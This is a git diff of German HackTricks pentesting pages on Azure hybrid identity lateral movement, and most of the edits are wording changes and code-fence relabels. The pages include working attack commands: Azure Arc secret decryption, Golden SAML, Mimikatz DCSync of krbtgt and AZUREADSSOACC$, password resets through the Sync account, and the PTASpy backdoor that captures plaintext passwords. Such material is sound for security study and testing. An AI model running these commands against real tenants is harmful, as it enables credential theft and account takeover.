a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index fb74f9dba..fbdf510ab 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -4,17 +4,17 @@ ### Identifizierung der Probleme -Azure Arc ermöglicht die Integration neuer interner Server (verbundene Domänenserver) in Azure Arc mithilfe der Group Policy Object-Methode. Um dies zu erleichtern, stellt Microsoft ein Bereitstellungstoolkit zur Verfügung, das für den Onboarding-Prozess erforderlich ist. Im ArcEnableServerGroupPolicy.zip-Datei finden sich die folgenden Skripte: DeployGPO.ps1, EnableAzureArc.ps1 und AzureArcDeployment.psm1. +Azure Arc ermöglicht die Integration neuer interner Server (verbundene Domänenserver) in Azure Arc mithilfe der Group Policy Object-Methode. Um dies zu erleichtern, stellt Microsoft ein Bereitstellungstoolkit zur Verfügung, das für den Start des Onboarding-Verfahrens erforderlich ist. Im ArcEnableServerGroupPolicy.zip-Datei finden sich die folgenden Skripte: DeployGPO.ps1, EnableAzureArc.ps1 und AzureArcDeployment.psm1. -Beim Ausführen des DeployGPO.ps1-Skripts werden die folgenden Aktionen durchgeführt: +Beim Ausführen des DeployGPO.ps1-Skripts werden die folgenden Aktionen ausgeführt: 1. Erstellt die Azure Arc Servers Onboarding GPO innerhalb der lokalen Domäne. 2. Kopiert das EnableAzureArc.ps1 Onboarding-Skript in den vorgesehenen Netzwerkfreigabe, die für den Onboarding-Prozess erstellt wurde und auch das Windows-Installationspaket enthält. Beim Ausführen dieses Skripts müssen Systemadministratoren zwei Hauptparameter angeben: **ServicePrincipalId** und **ServicePrincipalClientSecret**. Darüber hinaus sind weitere Parameter wie die Domäne, der FQDN des Servers, der die Freigabe hostet, und der Freigabename erforderlich. Weitere Details wie die Mandanten-ID, die Ressourcengruppe und andere notwendige Informationen müssen ebenfalls dem Skript bereitgestellt werden. -Ein verschlüsseltes Geheimnis wird im AzureArcDeploy-Verzeichnis auf der angegebenen Freigabe unter Verwendung der DPAPI-NG-Verschlüsselung generiert. Das verschlüsselte Geheimnis wird in einer Datei mit dem Namen encryptedServicePrincipalSecret gespeichert. Ein Beweis dafür findet sich im DeployGPO.ps1-Skript, wo die Verschlüsselung durch den Aufruf von ProtectBase64 mit $descriptor und $ServicePrincipalSecret als Eingaben erfolgt. Der Descriptor besteht aus den SID der Domain Computer und der Domain Controller-Gruppe, wodurch sichergestellt wird, dass das ServicePrincipalSecret nur von den Sicherheitsgruppen der Domain Controllers und Domain Computers entschlüsselt werden kann, wie in den Kommentaren des Skripts vermerkt. -```powershell +Ein verschlüsseltes Geheimnis wird im AzureArcDeploy-Verzeichnis auf der angegebenen Freigabe unter Verwendung der DPAPI-NG-Verschlüsselung generiert. Das verschlüsselte Geheimnis wird in einer Datei mit dem Namen encryptedServicePrincipalSecret gespeichert. Ein Beweis dafür findet sich im DeployGPO.ps1-Skript, wo die Verschlüsselung durch den Aufruf von ProtectBase64 mit $descriptor und $ServicePrincipalSecret als Eingaben erfolgt. Der Descriptor besteht aus den SID der Domain Computer und der Domain Controller-Gruppe, wodurch sichergestellt wird, dass das ServicePrincipalSecret nur von den Sicherheitsgruppen der Domain Controller und Domain Computer entschlüsselt werden kann, wie in den Kommentaren des Skripts vermerkt. +```bash # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID $DomainControllersSID = "SID=" + $DomainControllersSID @@ -31,20 +31,20 @@ Wir haben die folgenden Bedingungen: 3. Wir haben einen Netzwerkfreigabe entdeckt, die das AzureArcDeploy-Verzeichnis enthält. Es gibt mehrere Methoden, um ein Maschinenkonto in einer AD-Umgebung zu erhalten. Eine der häufigsten ist die Ausnutzung des Maschinenkonto-Quotas. Eine andere Methode besteht darin, ein Maschinenkonto durch verwundbare ACLs oder verschiedene andere Fehlkonfigurationen zu kompromittieren. -```powershell +```bash Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` Sobald ein Maschinenkonto erlangt wurde, ist es möglich, sich mit diesem Konto zu authentifizieren. Wir können entweder den Befehl runas.exe mit dem netonly-Flag verwenden oder Pass-the-Ticket mit Rubeus.exe nutzen. -```powershell +```bash runas /user:fake01$ /netonly powershell ``` -```powershell +```bash .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` -Durch das Speichern des TGT für unser Computer-Konto im Speicher können wir das folgende Skript verwenden, um das Geheimnis des Dienstprinzipals zu entschlüsseln. -```powershell +Indem wir das TGT für unser Computer-Konto im Speicher haben, können wir das folgende Skript verwenden, um das Geheimnis des Dienstprinzipals zu entschlüsseln. +```bash Import-Module .\AzureArcDeployment.psm1 $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret" @@ -54,9 +54,9 @@ $ebs ``` Alternativ können wir [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) verwenden. -An diesem Punkt können wir die verbleibenden Informationen sammeln, die benötigt werden, um eine Verbindung zu Azure herzustellen, aus der ArcInfo.json-Datei, die sich im selben Netzwerkfreigabe wie die encryptedServicePrincipalSecret-Datei befindet. Diese Datei enthält Details wie: TenantId, servicePrincipalClientId, ResourceGroup und mehr. Mit diesen Informationen können wir Azure CLI verwenden, um uns als kompromittierter Dienstprinzipal zu authentifizieren. +An diesem Punkt können wir die verbleibenden Informationen sammeln, die benötigt werden, um eine Verbindung zu Azure herzustellen, aus der ArcInfo.json-Datei, die sich im selben Netzwerkfreigabe wie die encryptedServicePrincipalSecret-Datei befindet. Diese Datei enthält Details wie: TenantId, servicePrincipalClientId, ResourceGroup und mehr. Mit diesen Informationen können wir Azure CLI verwenden, um uns als der kompromittierte Dienstprinzipal zu authentifizieren. -## Referenzen +## References - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md index 85d00fdab..33ce218dc 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md @@ -52,7 +52,7 @@ az-default-applications.md Für jede Integrationsmethode wird die Benutzersynchronisierung durchgeführt, und ein `MSOL_`-Konto wird im On-Prem AD erstellt. Bemerkenswert ist, dass sowohl die **PHS**- als auch die **PTA**-Methoden **Seamless SSO** ermöglichen, was eine automatische Anmeldung für Azure AD-Computer, die mit der On-Prem-Domäne verbunden sind, ermöglicht. Um die Installation von **Azure AD Connect** zu überprüfen, kann der folgende PowerShell-Befehl verwendet werden, der das **AzureADConnectHealthSync**-Modul nutzt (standardmäßig mit Azure AD Connect installiert): -```powershell +```bash Get-ADSyncConnector ``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 94794acfe..74883b13f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -2,14 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Synchronisierung von AzureAD-Benutzern mit On-Prem, um von On-Prem zu AzureAD zu eskalieren +## Synchronisierung von AzureAD-Benutzern von On-Prem zu AzureAD zur Eskalation Um einen neuen Benutzer **von AzureAD zum On-Prem AD** zu synchronisieren, sind folgende Anforderungen erforderlich: - Der **AzureAD-Benutzer** muss eine Proxy-Adresse (ein **Postfach**) haben - Eine Lizenz ist nicht erforderlich - Sollte **nicht bereits synchronisiert** sein -```powershell +```bash Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` Wenn ein Benutzer wie dieser in AzureAD gefunden wird, um **darauf vom on-prem AD zuzugreifen**, müssen Sie nur **ein neues Konto erstellen** mit der **proxyAddress** der SMTP-E-Mail. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index b6a147525..2e1c317ef 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -10,11 +10,11 @@ Sie können Ihre **On-Premises**-Umgebung **mit Azure AD** föderieren und diese
-Im Wesentlichen erfolgt in der Föderation alle **Authentifizierung** in der **On-Prem**-Umgebung und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer **auf** **Cloud**-Anwendungen zugreifen, indem sie ihre **On-Prem-Anmeldeinformationen** verwenden. +Im Wesentlichen erfolgt in der Föderation die gesamte **Authentifizierung** in der **On-Prem**-Umgebung, und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer **auf** **Cloud**-Anwendungen zugreifen, indem sie ihre **On-Prem-Anmeldeinformationen** verwenden. **Security Assertion Markup Language (SAML)** wird verwendet, um alle Authentifizierungs- und Autorisierungs-**informationen** zwischen den Anbietern **auszutauschen**. -In jeder Föderationskonfiguration gibt es drei Parteien: +In jeder Föderationseinrichtung gibt es drei Parteien: - Benutzer oder Client - Identitätsanbieter (IdP) @@ -27,7 +27,7 @@ In jeder Föderationskonfiguration gibt es drei Parteien: 1. Zunächst wird eine Anwendung (Dienstanbieter oder SP, wie die AWS-Konsole oder der vSphere-Webclient) von einem Benutzer aufgerufen. Dieser Schritt kann umgangen werden, sodass der Client direkt zum IdP (Identitätsanbieter) geleitet wird, abhängig von der spezifischen Implementierung. 2. Anschließend identifiziert der SP den geeigneten IdP (z. B. AD FS, Okta) für die Benutzer-Authentifizierung. Er erstellt dann eine SAML (Security Assertion Markup Language) AuthnRequest und leitet den Client an den gewählten IdP weiter. 3. Der IdP übernimmt und authentifiziert den Benutzer. Nach der Authentifizierung wird eine SAMLResponse vom IdP formuliert und über den Benutzer an den SP weitergeleitet. -4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was auf eine Vertrauensbeziehung mit dem IdP hinweist, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldeprozesses, der es dem Benutzer ermöglicht, den Dienst zu nutzen. +4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was auf eine Vertrauensbeziehung mit dem IdP hinweist, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldevorgangs, sodass der Benutzer den Dienst nutzen kann. **Wenn Sie mehr über SAML-Authentifizierung und gängige Angriffe erfahren möchten, gehen Sie zu:** @@ -63,13 +63,13 @@ Golden SAMLs bieten bestimmte Vorteile: - Sie können **remote erstellt** werden, ohne Teil der betreffenden Domäne oder Föderation zu sein. - Sie bleiben auch mit aktivierter **Zwei-Faktor-Authentifizierung (2FA)** wirksam. - Der Token-Signatur-**private Schlüssel erneuert sich nicht automatisch**. -- **Ändern eines Benutzers Passworts macht** eine bereits generierte SAML nicht ungültig. +- **Ändern eines Benutzers Passworts macht eine bereits generierte SAML nicht ungültig**. #### AWS + AD FS + Golden SAML [Active Directory Federation Services (AD FS)]() ist ein Microsoft-Dienst, der den **sicheren Austausch von Identitätsinformationen** zwischen vertrauenswürdigen Geschäftspartnern (Föderation) erleichtert. Er ermöglicht es im Wesentlichen einem Domänendienst, Benutzeridentitäten mit anderen Dienstanbietern innerhalb einer Föderation zu teilen. -Mit AWS, das der kompromittierten Domäne (in einer Föderation) vertraut, kann diese Schwachstelle ausgenutzt werden, um potenziell **alle Berechtigungen in der AWS-Umgebung zu erwerben**. Der Angriff erfordert den **privaten Schlüssel, der zum Signieren der SAML-Objekte verwendet wird**, ähnlich wie beim Bedarf des KRBTGT in einem Golden Ticket-Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen privaten Schlüssel zu erhalten. +Mit AWS, das der kompromittierten Domäne (in einer Föderation) vertraut, kann diese Schwachstelle ausgenutzt werden, um potenziell **alle Berechtigungen in der AWS-Umgebung zu erwerben**. Der Angriff erfordert den **privaten Schlüssel**, der zur Signierung der SAML-Objekte verwendet wird, ähnlich wie beim Bedarf des KRBTGT in einem Golden Ticket-Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen privaten Schlüssel zu erhalten. Die Anforderungen für die Durchführung eines Golden SAML-Angriffs umfassen: @@ -84,7 +84,7 @@ Die Anforderungen für die Durchführung eines Golden SAML-Angriffs umfassen: _Nur die fettgedruckten Elemente sind obligatorisch. Die anderen können nach Belieben ausgefüllt werden._ Um den **privaten Schlüssel** zu erwerben, ist der Zugriff auf das **AD FS-Benutzerkonto** erforderlich. Von dort aus kann der private Schlüssel **aus dem persönlichen Speicher exportiert** werden, indem Tools wie [mimikatz](https://github.com/gentilkiwi/mimikatz) verwendet werden. Um die anderen erforderlichen Informationen zu sammeln, können Sie das Microsoft.Adfs.Powershell-Snapin wie folgt verwenden, wobei Sie sicherstellen, dass Sie als ADFS-Benutzer angemeldet sind: -```powershell +```bash # From an "AD FS" session # After having exported the key with mimikatz @@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
### On-prem -> Cloud -```powershell +```bash # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) @@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` Es ist auch möglich, ImmutableID von nur Cloud-Benutzern zu erstellen und sich als diese auszugeben. -```powershell +```bash # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK==" diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 458327886..39ad51a64 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -11,7 +11,7 @@ Es ist die **häufigste Methode**, die von Unternehmen verwendet wird, um ein lokales AD mit Azure AD zu synchronisieren. Alle **Benutzer** und ein **Hash der Passwort-Hashes** werden vom lokalen AD zu Azure AD synchronisiert. Allerdings werden **Klartext-Passwörter** oder die **ursprünglichen** **Hashes** nicht an Azure AD gesendet.\ -Darüber hinaus werden **eingebaute** Sicherheitsgruppen (wie Domänenadministratoren...) **nicht mit** Azure AD synchronisiert. +Darüber hinaus werden **eingebaute** Sicherheitsgruppen (wie Domänenadministratoren...) **nicht synchronisiert** mit Azure AD. Die **Hash-Synchronisierung** erfolgt alle **2 Minuten**. Standardmäßig werden jedoch **Passwortablauf** und **Kontenablauf** **nicht synchronisiert** in Azure AD. Ein Benutzer, dessen **lokales Passwort abgelaufen ist** (nicht geändert), kann weiterhin **auf Azure-Ressourcen zugreifen** mit dem alten Passwort. @@ -23,7 +23,7 @@ Wenn ein lokaler Benutzer auf eine Azure-Ressource zugreifen möchte, erfolgt di Wenn PHS konfiguriert ist, werden einige **privilegierte Konten** automatisch **erstellt**: -- Das Konto **`MSOL_`** wird automatisch im lokalen AD erstellt. Dieses Konto erhält eine **Rolle für Verzeichnis-Synchronisationskonten** (siehe [Dokumentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), was bedeutet, dass es **Replikationsberechtigungen (DCSync) im lokalen AD** hat. +- Das Konto **`MSOL_`** wird automatisch im lokalen AD erstellt. Dieses Konto erhält eine **Rolle für Verzeichnis-Synchronisierungskonten** (siehe [Dokumentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), was bedeutet, dass es **Replikationsberechtigungen (DCSync) im lokalen AD** hat. - Ein Konto **`Sync__installationID`** wird in Azure AD erstellt. Dieses Konto kann das Passwort von **JEDEM Benutzer** (synchronisiert oder nur Cloud) in Azure AD **zurücksetzen**. Die Passwörter der beiden vorherigen privilegierten Konten werden **in einem SQL-Server** auf dem Server gespeichert, auf dem **Azure AD Connect installiert ist.** Administratoren können die Passwörter dieser privilegierten Benutzer im Klartext extrahieren.\ @@ -40,15 +40,15 @@ Sie finden eine [vollständige Übersicht darüber, wie diese Anmeldeinformation ### Finden des **Azure AD Connect-Servers** Wenn der **Server, auf dem Azure AD Connect installiert ist**, mit der Domäne verbunden ist (in den Dokumenten empfohlen), ist es möglich, ihn mit zu finden: -```powershell +```bash # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl #Azure AD module Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` -### Missbrauch von MSOL\_\* -```powershell +### Missbrauch von MSOL\_* +```bash # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -62,7 +62,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo ### Missbrauch von Sync\_\* Durch Kompromittierung des **`Sync_*`** Kontos ist es möglich, das **Passwort** eines beliebigen Benutzers (einschließlich globaler Administratoren) zurückzusetzen. -```powershell +```bash # This command, run previously, will give us alse the creds of this account Get-AADIntSyncCredentials @@ -83,7 +83,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` Es ist auch möglich, **die Passwörter von nur Cloud**-Benutzern zu **ändern** (auch wenn das unerwartet ist). -```powershell +```bash # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID @@ -94,7 +94,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" Es ist auch möglich, das Passwort dieses Benutzers zu dumpen. > [!CAUTION] -> Eine weitere Option wäre, **privilegierte Berechtigungen für ein Dienstprinzipal zuzuweisen**, was der **Sync**-Benutzer **berechtigt** ist zu tun, und dann **auf dieses Dienstprinzipal zuzugreifen** als eine Möglichkeit zur Privilegieneskalation. +> Eine andere Option wäre, **privilegierte Berechtigungen für ein Dienstprinzipal zuzuweisen**, was der **Sync**-Benutzer **berechtigt** ist zu tun, und dann **auf dieses Dienstprinzipal zuzugreifen** als eine Möglichkeit zur Privilegieneskalation. ### Seamless SSO diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index 3158a52cd..c379b1065 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -2,9 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Grundlegende Informationen +## Grundinformationen -[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication ermöglicht es Ihren Benutzern, sich **sowohl bei lokalen als auch bei cloudbasierten Anwendungen mit denselben Passwörtern** anzumelden. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und reduziert die IT-Hilfe-Kosten, da Ihre Benutzer weniger wahrscheinlich vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Azure AD anmelden, **validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory**. +[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication ermöglicht es Ihren Benutzern, sich **sowohl bei lokalen als auch bei cloudbasierten Anwendungen mit denselben Passwörtern anzumelden**. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und reduziert die IT-Hilfe-Kosten, da es weniger wahrscheinlich ist, dass Ihre Benutzer vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Azure AD anmelden, **validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory**. In PTA werden **Identitäten** **synchronisiert**, aber **Passwörter** **nicht**, wie bei PHS. @@ -14,29 +14,29 @@ Die Authentifizierung wird im lokalen AD validiert und die Kommunikation mit der
-1. Um sich **anzumelden**, wird der Benutzer zu **Azure AD** umgeleitet, wo er den **Benutzernamen** und das **Passwort** sendet. -2. Die **Anmeldeinformationen** werden **verschlüsselt** und in einer **Warteschlange** in Azure AD gesetzt. -3. Der **lokale Authentifizierungsagent** sammelt die **Anmeldeinformationen** aus der Warteschlange und **entschlüsselt** sie. Dieser Agent wird als **"Pass-through authentication agent"** oder **PTA-Agent** bezeichnet. +1. Um sich **anzumelden**, wird der Benutzer zu **Azure AD** umgeleitet, wo er den **Benutzernamen** und das **Passwort** eingibt. +2. Die **Anmeldeinformationen** werden **verschlüsselt** und in eine **Warteschlange** in Azure AD gesetzt. +3. Der **lokale Authentifizierungsagent** sammelt die **Anmeldeinformationen** aus der Warteschlange und **entschlüsselt** sie. Dieser Agent wird **"Pass-through authentication agent"** oder **PTA agent** genannt. 4. Der **Agent** **validiert** die Anmeldeinformationen gegen das **lokale AD** und sendet die **Antwort** **zurück** an Azure AD, die, wenn die Antwort positiv ist, die **Anmeldung** des Benutzers **abschließt**. > [!WARNING] > Wenn ein Angreifer die **PTA** **kompromittiert**, kann er alle **Anmeldeinformationen** aus der Warteschlange **sehen** (im **Klartext**).\ -> Er kann auch **beliebige Anmeldeinformationen** für AzureAD **validieren** (ähnlicher Angriff wie bei Skeleton Key). +> Er kann auch **beliebige Anmeldeinformationen** für AzureAD **validieren** (ähnlicher Angriff wie bei Skeleton key). ### On-Prem -> Cloud Wenn Sie **Admin**-Zugriff auf den **Azure AD Connect-Server** mit dem laufenden **PTA** **Agenten** haben, können Sie das **AADInternals**-Modul verwenden, um eine **Hintertür** einzufügen, die **ALLE Passwörter**, die eingegeben werden, **validiert** (so dass alle Passwörter für die Authentifizierung gültig sind): -```powershell +```bash Install-AADIntPTASpy ``` > [!NOTE] -> Wenn die **Installation fehlschlägt**, liegt dies wahrscheinlich an fehlenden [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). +> Wenn die **Installation fehlschlägt**, liegt das wahrscheinlich an fehlenden [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). Es ist auch möglich, die **im Klartext gesendeten Passwörter an den PTA-Agenten** mit dem folgenden Cmdlet auf dem Computer zu sehen, auf dem das vorherige Backdoor installiert wurde: -```powershell +```bash Get-AADIntPTASpyLog -DecodePasswords ``` -Dieses Backdoor wird: +Dieser Backdoor wird: - Einen versteckten Ordner `C:\PTASpy` erstellen - Eine `PTASpy.dll` nach `C:\PTASpy` kopieren diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index 9fc0147e9..290e6db77 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -12,16 +12,16 @@ Im Grunde **meldet Azure AD Seamless SSO** Benutzer an, wenn sie sich **auf eine Es wird sowohl von [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) als auch von [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) unterstützt. -Desktop-SSO verwendet **Kerberos** zur Authentifizierung. Wenn konfiguriert, erstellt Azure AD Connect ein **Computer-Konto namens AZUREADSSOACC`$`** im lokalen AD. Das Passwort des `AZUREADSSOACC$`-Kontos wird **im Klartext an Azure AD gesendet** während der Konfiguration. +Desktop-SSO verwendet **Kerberos** zur Authentifizierung. Wenn konfiguriert, erstellt Azure AD Connect ein **Computer-Konto namens AZUREADSSOACC`$`** in der lokalen AD. Das Passwort des `AZUREADSSOACC$`-Kontos wird **im Klartext an Azure AD gesendet** während der Konfiguration. Die **Kerberos-Tickets** sind **verschlüsselt** mit dem **NTHash (MD4)** des Passworts, und Azure AD verwendet das gesendete Passwort, um die Tickets zu entschlüsseln. -**Azure AD** stellt einen **Endpunkt** (https://autologon.microsoftazuread-sso.com) zur Verfügung, der Kerberos **Tickets** akzeptiert. Der Browser des domain-verbundenen Geräts leitet die Tickets an diesen Endpunkt für SSO weiter. +**Azure AD** stellt einen **Endpunkt** (https://autologon.microsoftazuread-sso.com) zur Verfügung, der Kerberos **Tickets** akzeptiert. Der Browser des domänenverbundenen Geräts leitet die Tickets an diesen Endpunkt für SSO weiter. ### On-prem -> cloud -Das **Passwort** des Benutzers **`AZUREADSSOACC$` ändert sich niemals**. Daher könnte ein Domänenadministrator den **Hash dieses Kontos** kompromittieren und ihn dann verwenden, um **Silber-Tickets** zu erstellen, um sich mit **irgendeinem lokal synchronisierten Benutzer** bei Azure zu verbinden: -```powershell +Das **Passwort** des Benutzers **`AZUREADSSOACC$` ändert sich niemals**. Daher könnte ein Domänenadministrator den **Hash dieses Kontos** kompromittieren und ihn dann verwenden, um **silberne Tickets** zu erstellen, um sich mit **jedem lokal synchronisierten Benutzer** bei Azure zu verbinden: +```bash # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit @@ -38,8 +38,8 @@ Import-Module DSInternals $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` -Mit dem Hash können Sie jetzt **Silber-Tickets generieren**: -```powershell +Mit dem Hash kannst du jetzt **Silber-Tickets generieren**: +```bash # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier @@ -62,21 +62,21 @@ Um das Silver Ticket zu nutzen, sollten die folgenden Schritte ausgeführt werde - `https://aadg.windows.net.nsatc.net` - `https://autologon.microsoftazuread-sso.com` 3. **Zugriff auf die Webanwendung:** -- Besuchen Sie eine Webanwendung, die mit der AAD-Domain der Organisation integriert ist. Ein gängiges Beispiel ist [Office 365](https://portal.office.com/). +- Besuchen Sie eine Webanwendung, die mit der AAD-Domain der Organisation integriert ist. Ein häufiges Beispiel ist [Office 365](https://portal.office.com/). 4. **Authentifizierungsprozess:** - Geben Sie auf dem Anmeldebildschirm den Benutzernamen ein und lassen Sie das Passwortfeld leer. -- Um fortzufahren, drücken Sie entweder TAB oder ENTER. +- Drücken Sie zur Fortsetzung entweder TAB oder ENTER. > [!TIP] -> Dies umgeht nicht die MFA, falls aktiviert +> Dies umgeht keine MFA, wenn sie aktiviert ist #### Option 2 ohne dcsync - SeamlessPass Es ist auch möglich, diesen Angriff **ohne einen dcsync-Angriff** durchzuführen, um stealthier zu sein, wie [in diesem Blogbeitrag erklärt](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Dafür benötigen Sie nur eines der folgenden: -- **TGT eines kompromittierten Benutzers:** Selbst wenn Sie keinen haben, aber der Benutzer kompromittiert wurde, können Sie einen mit dem Fake-TGT-Delegationstrick erhalten, der in vielen Tools wie [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) und 